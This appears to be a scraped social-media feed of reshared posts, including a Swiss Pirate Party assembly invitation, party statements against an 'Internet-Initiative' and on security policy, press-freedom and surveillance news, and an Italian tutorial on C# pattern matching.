Im Programm vorgesehen sind Jahresberichte, Wahlen, Parolenfassungen u.a. Die Traktanden im Detail werden rund eine Woche vor der PV kommuniziert.

Organisatorisches

Unsere Versammlungen sind öffentlich und alle sind herzlich willkommen, aber stimmberechtigt sind nur Piraten, die den aktuellen Mitgliederbeitrag bezahlt haben. Die Zahlungsinformationen findest du hier: https://www.piratenpartei.chhttps://www.piratenpartei.ch/mitgliedschaft/
Danke für deinen Beitrag!

Anträge

Anträge an die Piratenversammlung müssen bis am 16. Mai eingereicht werden und durch mindestens 2 Piraten (= Quorum gemäss Statuten) unterstützt werden. Wir bitten auch um Übersetzungen der Anträge DE/FR, damit möglichst alle verstehen, was verhandelt wird. Änderungs- und Gegenanträge sind bis 1 Woche vor der Versammlung einzureichen. Die Anträge werden im Redmine erfasst (projects.piratenpartei.ch/proj…) und sollten mindestens folgende Kriterien erfüllen:

  • Antragstext mit Begründung
  • Für Statutenänderungen: alter & neuer Text im Vergleich
  • Liste der Unterstützer (Quorum)

An und während der PV sind nur noch Ordnungsanträge zulässig. Damit wir die Versammlungen bestmöglich durchführen können, sind wir auf Personen angewiesen, die vor Ort die Debatten übersetzen. Es soll von Deutsch auf Französisch und umgekehrt übersetzt werden. Wer mithelfen kann, melde sich bitte per E-Mail an info@piratenpartei.ch

Wir freuen uns, dich und viele andere Piraten wiederzusehen!

Piratige Grüsse
Arbeitsgruppe PV

============

Nous t’invitons cordialement à la troisième assemblée générale ordinaire des Pirates en 2023. Celle-ci aura lieu à Berne.

Lieu : Käfigturm Berne (polit-forum-bern.ch/turmgeschi…)
Marktgasse 67, 3011 Berne
openstreetmap.org/way/25123620…
Arrivée en voiture : utiliser les parkings publics.
Arrivée en transports publics : gare centrale de Berne, à 5 minutes à pied.

Quand : Samedi, 30.05.2026
15:30h : Ouverture des portes
16:00h : Début de l’assemblée
18:00h : fin et part sociale

Le programme prévoit entre autres le budget et les paroles au peuple. Les détails de l’ordre du jour seront communiqués environ une semaine avant l’AP.

Organisation

Nos assemblées sont publiques et tout le monde est le bienvenu, mais seuls les Pirates qui ont payé leur cotisation actuel ont le droit de vote. Tu trouveras les informations de paiement ici :
partipirate.ch/membres/
Merci pour ta contribution !

Motions

Les motions à l’assemblée des Pirates doivent être soumises avant le 16 mai et être soutenues par au moins 2 Pirates (= quorum selon les statuts). Nous demandons également une traduction des motions en français/allemand ou en anglais, afin que tout le monde puisse comprendre ce qui est négocié. Les amendements et les contre-propositions doivent être déposés jusqu’à une semaine avant l’assemblée. Les motions sont saisies dans Redmine (projects.piratenpartei.ch/proj…) et doivent remplir au moins les critères suivants :

  • texte de la motion avec justification
  • Pour les modifications des statuts : ancien & nouveau texte en comparaison.
  • Liste des soutiens (quorum).

Lors et pendant l’AP, seules les motions d’ordre sont autorisées. Pour que les assemblées se déroulent au mieux, nous avons besoin de personnes qui traduisent les débats sur place. Il s’agit de traduire de l’allemand au français et vice-versa. Les personnes qui peuvent aider sont priées de s’annoncer par e-mail à info@piratenpartei.ch.

Nous nous réjouissons de te revoir, toi et de nombreux autres pirates !

Salutations pirates
Groupe de travail AP


piratenpartei.ch/2026/05/06/ei…

The Pirate Post ha ricondiviso questo.

Danke für die stetige Berichterstattung, @netzpolitik_feed!

Die Kritik an den verschiedenen geplanten Elementen von Massenüberwachung geht in vielen Medien unter.


Die Bundesdatenschutzbeauftragte warnt weiterhin vor der #Chatkontrolle. Eine „anlasslose Massenüberwachung“ aller Bürger:innen „wäre in einem Rechtstaat beispiellos“. Auch die Datenschutzkonferenz fordert die EU-Gesetzgeber auf, die Chatkontrolle „endgültig abzusagen“.

netzpolitik.org/2026/anlasslos…


Stellungnahme der Piratenpartei Schweiz zur sogenannten „Internet-Initiative“


The media in this post is not displayed to visitors. To view it, please log in.

Die Piratenpartei Schweiz lehnt die derzeit lancierte „Internet-Initiative“ entschieden ab. Die Initiative erhebt den Anspruch, Desinformation und schädliche Inhalte im Internet zu bekämpfen, gleichzeitig werden in der öffentlichen Debatte irreführende Narrative verwendet. Besonders kritisch sehen wir, dass sich die Trägerschaft der Initiative auf Statistiken stützt, die aus ihrem eigenen Dunstkreis produziert wird.

Prinzipiell befremdlich ist, dass die Initiative mit einer grossen Dringlichkeit und schwerster Straftaten begründet wird und gleichzeitig etliche Bundeshaus-Parlamentarier aller grossen Parteien im Komitee sitzen, diese jedoch es nicht für nötig halten, den schnelleren Weg über das Parlament zu gehen und entsprechende Vorstösse einzureichen.

Mangel an politischer und fachlicher Vorarbeit


Weiter irritiert, dass die Trägerschaft der Internet-Initiative weder andere politische Akteure noch relevante Interessengruppen aktiv in die inhaltliche Konzeption einbezogen hat. Gerade bei Fragen der Internetregulierung wäre ein breiter Dialog mit zivilgesellschaftlichen Organisationen, Fachverbänden, Wissenschaft und politischen Parteien essenziell gewesen um Fachwissen einzubringen, verschiedene Interessen abzuwägen und mögliche Nebenwirkungen frühzeitig zu identifizieren.

Problematische Darstellung der Ausgangslage


Die öffentliche Kommunikation rund um die Initiative arbeitet stark mit der Prämisse, das Internet werde zunehmend von strafbaren Inhalten wie Kinderpornografie oder extremer Gewalt überschwemmt. Diese Darstellung ist in dieser Pauschalität irreführend, denn die Daten, auf die sich die Trägerschaft stützt, werden von ihr selbst erhoben: Clickandstop.ch ist ein Gemeinschaftsprojekt der Trägerorganisationen Kinderschutz Schweiz und der Guido Fluri Stiftung, welche diese Initiative am 31. Oktober 2025 auf guido-fluri-stiftung.ch/de/pub… angekündigt hatte. Eine solide Grundlage für weitreichende regulatorische Eingriffe sollte auf transparenten, unabhängigen und wissenschaftlich überprüfbaren Daten beruhen.

Unklare Definition von Desinformation


Ein zentrales Problem der Initiative liegt in der unklaren Definition von „Desinformation“. Politische und gesellschaftliche Debatten zeigen, wie schwierig es ist, objektiv festzulegen, wann eine Aussage als Desinformation gilt. Während der Corona-Pandemie etwa wurden Positionen, die zu einem Zeitpunkt als falsch galten, später teilweise neu bewertet. Die Umsetzung der Initiative würde mit hoher Wahrscheinlichkeit den Aufbau einer technischen und regulatorischen Infrastruktur zur Inhaltskontrolle erfordern. Ein solches Konzept steht in einem Spannungsverhältnis zur Meinungsfreiheit und könnte sogar dem eigenen Anspruch der Initiative widersprechen, Grundrechte zu schützen.

Fazit


Die Piratenpartei Schweiz setzt sich für ein freies, offenes und sicheres Internet ein. Straftaten im Netz müssen konsequent verfolgt werden – dafür existieren bereits heute rechtliche Instrumente. Die vorliegende Initiative hingegen droht, mit unklaren Begriffen, problematischen Datengrundlagen und potenziell weitreichenden Eingriffen in Grundrechte eine Zensurinfrastruktur zu schaffen, ohne die eigentlichen Probleme effektiv zu lösen. Die Piratenpartei ist nicht gegen die idealistischen Ziele (Reduktion von Cyberkriminalität, sexualisierte Gewalt, Pädokriminalität, Radikalisierung und Desinformation), aber sieht die in der Initiative vorgeschlagenen Instrumente nicht als zweckdienlich.

Aus diesen Gründen lehnt die Piratenpartei Schweiz die „Internet-Initiative“ in ihrer aktuellen Form ab.


piratenpartei.ch/2026/04/06/st…

Stellungnahme Sicherheitspolitische Strategie 2026: Schutz der Freiheit darf nicht ihre Abschaffung bedeuten


The media in this post is not displayed to visitors. To view it, please log in.

Bundeshaus in Bern

Die Piratenpartei Schweiz hat ihre Stellungnahme zur Sicherheitspolitischen Strategie der Schweiz 2026 eingereicht. Die Strategie greift durchaus wichtige Punkte auf – doch wer Freiheit schützen will, darf sie nicht gleichzeitig aushöhlen. Mehrere der vorgeschlagenen Massnahmen zielen direkt auf die Privatsphäre der Bevölkerung und riskieren, die Meinungsfreiheit vermeintlich zu ihrem eigenen Schutz einzuschränken.

Positiv hervorzuheben sind Ansätze wie politische Bildung, Sensibilisierung und Medienkompetenz – dies sind die liberalen und wirksamen Wege, Bedrohungen wie Desinformation und Radikalisierung zu begegnen. Was wir hingegen klar ablehnen: Zensurinfrastrukturen, staatliche Instanzen zur Festlegung von «Wahrheit» sowie DNS-Sperren, die ohnehin mit einem einfachen VPN in Sekunden umgangen werden können.

Besonders kritisch sehen wir zwei Massnahmen:

POLAP und polizeilicher Datenaustausch (M24): Die geplante Bündelung aller Polizeidatenabfragen in einer nationalen Plattform mit internationaler Anbindung senkt die Zugangsschwelle zu Personendaten massiv – und das, obwohl selbst der Eidgenössische Datenschutzbeauftragte (EDÖB) erhebliche Bedenken zu den Persönlichkeitsrechten angemeldet hat. Wir fordern die Streichung von POLAP. Bestehende Amtshilfeverfahren können stattdessen weiter digitalisiert werden.

Revision des Nachrichtendienstgesetzes (M20): Mehr Überwachungsbefugnisse ohne wirksame Kontrolle schützen nicht die Bevölkerung – sie behandeln sie als nicht vertrauenswürdig. Eine solche Haltung ist einer Demokratie unwürdig. Die Massnahme ist verlustfrei streichbar, da die sinnvollen Ansätze zur Prävention bereits in anderen Punkten der Strategie enthalten sind.

Ebenfalls fordern wir, dass bei der Informationssicherheit des Bundes (M6) konsequent auf Open-Source-Lösungen gesetzt wird, statt die Abhängigkeit von ausländischen Anbietern wie Microsoft weiter zu zementieren. Digitale Souveränität ist nicht delegierbar. Gleiches gilt für die Energieversorgung (M12): Dezentralisierung erhöht die Resilienz – zentrale Infrastrukturen sind anfälliger für gezielte Angriffe.

Zuletzt warnen wir davor, offensive Cyberfähigkeiten (M19) auf Kosten der Sicherheit der eigenen Bevölkerung aufzubauen. Staatlich gehortete Sicherheitslücken gefährden alle – wie die Vergangenheit vielfach bewiesen hat. Gefundene Lücken müssen den Herstellern gemeldet und geschlossen werden.

Die Stellungnahme im Wortlaut finden Sie hier.


piratenpartei.ch/2026/03/31/st…

FBI’s Atlantic probe shows ‘complete disregard’ for First Amendment


FOR IMMEDIATE RELEASE:

New York, May 6, 2026 — The FBI has reportedly opened a criminal leak investigation into Atlantic magazine journalist Sarah Fitzpatrick’s reporting on Director Kash Patel’s alleged unexplained absences and drinking habits at the bureau.

The following can be attributed to Freedom of the Press Foundation (FPF) Chief of Advocacy Seth Stern:

“The FBI’s probe would be outrageous even if The Atlantic reported classified information, which it didn’t. The FBI is reportedly conducting an invasive leak investigation merely to settle a personal vendetta. Separately, it doesn’t make much sense for Patel’s FBI to investigate leaks from what Patel’s lawsuit over the same reporting called ‘sham sources.’ Fake sources can’t leak.

“This is the second time in recent weeks we’ve learned that the bureau has baselessly investigated constitutionally protected, highly newsworthy reporting that was unfavorable to its director — last month, news broke that it investigated reporter Elizabeth Williamson, after she wrote about Patel’s use of government resources for transportation and security expenses for his girlfriend. Both show complete disregard for the First Amendment and for the FBI’s supposed mission of stopping crime, not serving as PIs for its leadership on the taxpayer dime.”

Please contact us if you would like further comment.


freedom.press/issues/fbis-atla…

Kruku reshared this.

The Pirate Post ha ricondiviso questo.

Auch in #SchleswigHolstein sind wir vor einem dystopischen #Polizeigesetz nicht gefeit.

netzpolitik.org/2026/polizeige…

Danke für die unermüdliche Berichterstattung @netzpolitik_feed!

#überwachung #dystopie #überwachungsstaat #polizei #PolizeiSH

The Pirate Post ha ricondiviso questo.

Die Bundesdatenschutzbeauftragte warnt weiterhin vor der #Chatkontrolle. Eine „anlasslose Massenüberwachung“ aller Bürger:innen „wäre in einem Rechtstaat beispiellos“. Auch die Datenschutzkonferenz fordert die EU-Gesetzgeber auf, die Chatkontrolle „endgültig abzusagen“.

netzpolitik.org/2026/anlasslos…

The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Pattern matching in C#: scenari avanzati che probabilmente non conosci
#tech
spcnet.it/pattern-matching-in-…
@informatica


Pattern matching in C#: scenari avanzati che probabilmente non conosci


Il pattern matching in C# non è solo un modo più elegante di scrivere condizioni: è un cambio di paradigma nel modo in cui si ragiona sulla struttura dei dati. A partire da C# 7 e con evoluzioni significative nelle versioni successive, il pattern matching è diventato uno strumento potentissimo per scrivere codice più leggibile, manutenibile e talvolta anche più efficiente.

In questo articolo esploreremo i pattern avanzati che molti sviluppatori .NET tendono a ignorare o a sottoutilizzare, partendo da un progetto concreto che dimostra ogni scenario.

Setup del progetto di esempio


Prima di tutto, creiamo un’applicazione console di test:

dotnet new console -n PatternMatchingDemo
cd PatternMatchingDemo

Definiamo i modelli come record, ideali per il pattern matching grazie alla loro natura value-based:
namespace PatternMatchingDemo.Records;

public record Address(string City, string Country);
public record User(string Name, int Age, Address Address, List<string> Roles);
public record Request(string Source, int Priority);
public record Point(int X, int Y);

E popoliamo alcune collezioni di test:
var users = new List<User>
{
    new("Ali", 25, new Address("Milano", "Italy"), new List<string> { "Admin", "User" }),
    new("Sara", 17, new Address("Roma", "Italy"), new List<string> { "User" }),
    new("Kennedy", 65, new Address("London", "UK"), new List<string> { "Guest" })
};

var requests = new List<Request>
{
    new("System", 10),
    new("User", 3),
    new("System", 2)
};

Property Pattern: matching annidato


Uno dei pattern più utili è il property pattern, che permette di verificare le proprietà di un oggetto direttamente nell’espressione di matching, incluse proprietà annidate:

foreach (var user in users)
{
    if (user is { Address.City: "Milano" })
    {
        Console.WriteLine($"{user.Name} è di Milano");
    }
}

Il confronto tradizionale richiederebbe:
if (user != null && user.Address != null && user.Address.City == "Milano")

La versione con property pattern è non solo più compatta, ma anche null-safe per definizione: se user o user.Address sono null, il pattern semplicemente non matcha.

Pattern con not: negazione elegante

foreach (var user in users)
{
    if (user is not { Address.City: "Milano" })
    {
        Console.WriteLine($"{user.Name} non è di Milano");
    }
}

Il keyword not inverte il risultato del pattern, rendendo esplicito il significato senza bisogno di operatori logici aggiuntivi.

Matching su casi multipli con or

foreach (var user in users)
{
    if (user is { Address.City: "Milano" or "Roma" })
    {
        Console.WriteLine($"{user.Name} vive in una grande città italiana");
    }
}

Il combinatore or all’interno di un pattern è molto più leggibile di una serie di condizioni concatenate con ||, specialmente quando le condizioni riguardano la stessa proprietà.

Pattern Matching dentro LINQ


Il pattern matching si integra perfettamente con LINQ, permettendo query molto espressive:

var adultiItaliani = users
    .Where(u => u is { Age: > 18, Address.Country: "Italy" })
    .ToList();

foreach (var user in adultiItaliani)
{
    Console.WriteLine($"{user.Name} è un adulto italiano");
}

Questa combinazione è particolarmente potente per filtrare DTO complessi, validare oggetti di dominio o implementare query su collezioni in memoria.

Pattern relazionali e logici


I pattern relazionali (>, <, >=, <=) combinati con i pattern logici (and, or) permettono di esprimere range e condizioni composite in modo molto naturale:

foreach (var user in users)
{
    if (user.Age is > 18 and < 60)
    {
        Console.WriteLine($"{user.Name} è un adulto lavorativo");
    }
    else if (user.Age is < 18 or > 60)
    {
        Console.WriteLine($"{user.Name} appartiene a una categoria di età speciale");
    }
}

Switch Expression


La switch expression (introdotta in C# 8) è una versione compatta e restituisce un valore. Elimina la verbosità del tradizionale switch statement:

foreach (var user in users)
{
    var categoria = user.Age switch
    {
        < 13 => "Bambino",
        < 20 => "Adolescente",
        < 60 => "Adulto",
        _     => "Senior"
    };

    Console.WriteLine($"{user.Name} => {categoria}");
}

Rispetto allo switch classico, la versione expression è più concisa, obbliga a coprire tutti i casi (o aggiungere il wildcard _) e restituisce direttamente un valore senza variabili intermedie.

Pattern Type + Condition


Il pattern di tipo permette di verificare il tipo di un oggetto e aggiungere una condizione contemporaneamente:

object value = 150;

// Modo tradizionale
if (value is int number && number > 100)
{
    Console.WriteLine("Numero grande (vecchio stile)");
}

// Con pattern matching
if (value is int and > 100)
{
    Console.WriteLine("Numero grande (pattern matching)");
}

Questo è particolarmente utile quando si lavora con object, dynamic, o con gerarchie di tipi complesse.

List Pattern (C# 11+)


Introdotto in C# 11, il list pattern consente di matchare la struttura e il contenuto di array e liste:

int[] nums = { 1, 2, 3 };

if (nums is [1, 2, 3])
{
    Console.WriteLine("Match esatto");
}

if (nums is [1, .., 3])
{
    Console.WriteLine("Inizia con 1 e finisce con 3");
}

if (nums is [_, _, _])
{
    Console.WriteLine("Array con esattamente 3 elementi");
}

Il slice pattern .. è molto flessibile: può matchare zero o più elementi nel mezzo di una sequenza. Questo pattern è molto utile per validare payload di API che arrivano come array, controllare header HTTP, o verificare strutture di dati fisse.

Positional Pattern

var point = new Point(10, 20);

if (point is (10, 20))
{
    Console.WriteLine("Il punto è (10,20)");
}

// Con switch expression
var descrizione = point switch
{
    (0, 0) => "Origine",
    (_, 0) => "Sull'asse X",
    (0, _) => "Sull'asse Y",
    _      => $"Punto generico ({point.X},{point.Y})"
};
Console.WriteLine(descrizione);

Il positional pattern decostruisce l’oggetto usando il metodo Deconstruct (disponibile automaticamente per i record) e permette di matchare ogni componente individualmente.

Combined Pattern: la vera potenza


Combinare più pattern insieme permette di esprimere logica di business complessa in modo dichiarativo:

foreach (var user in users)
{
    if (user is
        {
            Age: > 18,
            Address.Country: "Italy",
            Roles: ["Admin", ..]
        })
    {
        Console.WriteLine($"{user.Name} è un admin adulto italiano");
    }
}

Questo esempio combina property pattern annidato, relational pattern e list pattern in un’unica espressione. In scenari reali, questa tecnica è applicabile per authorization checks, validazione di DTO, o routing di request handler.

Null Pattern

User? maybeUser = null;

if (maybeUser is not null)
{
    Console.WriteLine("L'utente esiste");
}
else
{
    Console.WriteLine("L'utente è null");
}

Il null pattern con is not null è semanticamente più preciso di != null in contesti di nullable reference types, ed è la forma raccomandata nelle linee guida di C# moderno.

Guard Clause nelle switch expression

int number = 7;

var result = number switch
{
    int n when n % 2 == 0 => "Pari",
    int n when n % 2 != 0 => "Dispari",
    _ => "Sconosciuto"
};

Console.WriteLine(result);

La clausola when aggiunge una condizione aggiuntiva a un pattern. Utile quando il solo pattern non è sufficiente a discriminare i casi.

Request Handling pattern


Un esempio pratico di uso combinato in un sistema di routing delle request:

foreach (var request in requests)
{
    var response = request switch
    {
        { Source: "System", Priority: > 5 } => "Richiesta di sistema critica",
        { Source: "User",   Priority: <= 5 } => "Richiesta utente normale",
        _ => "Fallback generico"
    };

    Console.WriteLine($"{request.Source} ({request.Priority}) => {response}");
}

Questo schema è applicabile in moltissimi contesti: event sourcing, command dispatcher, middleware pipeline, validazione di business rules.

Considerazioni sulle performance


Oltre alla leggibilità, il pattern matching in C# è progettato per essere efficiente. Il compilatore ottimizza le switch expression in jump table o sequenze di confronto ottimizzate. Per tipi primitivi, le performance sono equivalenti o superiori a catene di if-else.

Per scenari di alta performance con molti branch (es. parser, protocol handler), vale la pena misurare con BenchmarkDotNet, ma nella stragrande maggioranza dei casi applicativi il pattern matching non introduce overhead significativo.

Conclusione


Il pattern matching in C# è uno strumento che va ben oltre il semplice is o lo switch. Combinando property pattern, list pattern, relational pattern e switch expression, è possibile scrivere logica complessa in modo dichiarativo e leggibile.

La chiave per sfruttarlo al meglio è conoscere tutti i tipi di pattern disponibili e riconoscere le situazioni in cui possono sostituire costrutti più verbosi. Un codice che legge come il problema che risolve è un codice di qualità superiore.

Il codice sorgente di esempio è disponibile su GitHub: github.com/elmahio-blog/Patter…


Fonte originale: Pattern matching in C#: Advanced scenarios you didn’t know — elmah.io Blog


The Pirate Post ha ricondiviso questo.

Schleswig-Holstein ist ganz vorne mit dabei, wenn es um die Entwicklung von Überwachungs-Dystopien geht. Das schwarz-grün regierte Bundesland will sich Verhaltensscanner, Echtzeit-Gesichtserkennung, Internet-Gesichtersuche, Datenanalyse a la Palantir und eine Ausweitung der Videoüberwachung erlauben. Ach ja: Bis zu acht Wochen Prophylaxe-Haft für Menschen, die in Freiheit womöglich Ordnungswidrigkeiten begehen, kommen auch noch dazu. Expert*innen gehen mit dem Entwurf hart ins Gericht. Heute wurde er erstmals im Landtag verhandelt. netzpolitik.org/2026/polizeige…
The Pirate Post ha ricondiviso questo.

Heute haben die Abgeordneten im Landtag von Schleswig-Holstein erstmals eine Novelle des Polizeigesetzes diskutiert. Es geht um Verhaltensscanner und Gesichtserkennung. Expert*innen zweifeln, ob das Gesetz verfassungsgemäß ist; die Opposition warnt vor einer Dystopie. netzpolitik.org/2026/polizeige…
The Pirate Post ha ricondiviso questo.

La giornalista Hannah Natanson minacciata e perseguitata dal regime di Trump ha vinto il Pulitzer. Il post di Roberto Saviano


"La giornalista del Washington Post Hannah Natanson è stata minacciata, trascinata in tribunale e ha visto l’FBI perquisire casa sua all’alba, sequestrandole telefono, computer e strumenti di lavoro. Non era l’indagata. Era la giornalista.

La sua “colpa” sarebbe questa: aver raccontato come l’amministrazione di Donald Trump, con Elon Musk e il progetto DOGE, volesse smantellare lo Stato dall’interno. Tagli, epurazioni, licenziamenti via mail comunicati all’improvviso, agenzie svuotate, servizi pubblici indeboliti, migliaia di lavoratori espulsi e la macchina pubblica trasformata in un laboratorio ideologico.

Quel lavoro, costruito con oltre mille fonti federali, protette e ascoltate, oggi ha vinto il Pulitzer Prize per il Public Service, il riconoscimento più importante del giornalismo americano.

Il Pulitzer ha premiato proprio questo: aver squarciato il velo di segretezza sulla demolizione del governo federale, raccontandone con precisione il caos e le conseguenze reali e tangibili sulla vita di milioni di persone.

Mentre il potere intimidiva, lei indagava. Mentre cercavano di spaventarla, lei continuava a pubblicare.
Mentre provavano a zittirla, il suo lavoro faceva luce.
Il giornalismo non è un crimine. Il giornalismo è luce nel buio."

t.me/valigiablu/4540

The Pirate Post ha ricondiviso questo.

Il Garante per la protezione dei dati personali partecipa alla Race for the Cure, l’iniziativa di Komen Italia

Il 7 e 8 maggio, al Circo Massimo, all’interno del Villaggio della Salute, il #GarantePrivacy sarà presente con uno spazio informativo dedicato al diritto all’oblio oncologico. Sarà un’occasione aperta a tutti per ricevere informazioni e orientamento su come esercitare tale diritto nei confronti di banche, assicurazioni, datori di lavoro e nell’ambito delle procedure di adozione

@Privacy Pride

gpdp.it/home/docweb/-/docweb-d…

The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

🎙️ BREAKING NEWS!!1! noyb has filed a #GDPR complaint against #Linkedin 📝 Why? The #Microsoft​ subsidiary tracks the visits to profile pages. However, if you want to see who has visited your own profile, you have to pay. 💸

To learn more, visit: noyb.eu/en/linkedin-locks-your…